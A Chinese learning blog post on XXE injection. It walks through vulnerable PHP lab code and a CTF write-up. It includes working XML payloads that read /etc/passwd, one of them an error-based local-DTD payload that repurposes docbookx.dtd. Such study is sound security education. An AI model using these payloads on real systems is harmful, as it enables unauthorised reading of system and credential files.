XXE漏洞学习
Posted liqik
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞学习相关的知识,希望对你有一定的参考价值。
0X00:前言
介绍:
XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XML外部实体注入(XML External Entity)简称XXE
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
php函数simplexml_load_string()读取XML
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞
(1)什么是XML???
XML用于标记电子文件使其具有结构性的标记语句,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素
百度百科:
(2)XML文档格式
<!--第一部分:XML声明-->
<!--第二部分:文档类型定义DTD-->
<!--第三部分:文档元素-->
0X01:漏洞
测试环境pikachu
后端代码
$html=‘‘; //考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析 if(isset($_POST[‘submit‘]) and $_POST[‘xml‘] != null) $xml =$_POST[‘xml‘]; // $xml = $test; $data = @simplexml_load_string($xml,‘SimpleXMLElement‘,LIBXML_NOENT); if($data) $html.="<pre>$data</pre>"; else $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>"; ?>
这是正常的XML
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
测试结果:
这是恶意的XML payload ,引入了外部的SYSTEM
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
但是这里我没成功,可能是因为/etc/passwd是liunx的固定配置文件,我是windows
看被人的提交之后 就可以查看/etc/passwd的文件内容
0X02:一题关于XXE注入的CTF
Blind association
题目地址:https://bnv.web.ctfcompetition.com/
题目描述:这是一个没有啥好看的 enterprise-ready Web应用程序。
根据别人步骤做的
中间说:请使用下面的搜索引擎找到离你最近的关联组织
有三个地名,提交了三次后发现没什么反应,只会出来貌似没用的文字
抓包发现!!!
每次提交,在POST一条message,如图
试验过了,三个数是不变的,F12看一下javascript
也不知道 为啥想到要看这个???
数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:
跟 message 一模一样!
下一步,先想一想是什么攻击方式。如果该题是 SQL 注入的话,那这题只能使用纯字母,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 脚本怼一下,好的,一点用都没有。
思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:
改为:
返回结果和之前不一样了!!!
整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD[2]
这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd
(一般有 Gnome 就有它)里面的 ISOamso
。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso
,因此可以达成任意文件读取。
使用该 payload 成功读取:
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ‘ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM ‘file:///nonexistent/%file;‘>"> %eval; %error; ‘> %local_dtd; ]>
猜一下常见的路径 /flag
,对啦?
参考地址:https://mp.weixin.qq.com/s/6gDMvATp9y7HSD4bFqUXEg
0Xff:总结
其实有很多地方都不知道为什么要那么做,或许这就是经验的原因,或许是我有知识不知道,但是通过这次了解了XXE是什么,运用流程和姿势。还会回来改改的
以上是关于XXE漏洞学习的主要内容,如果未能解决你的问题,请参考以下文章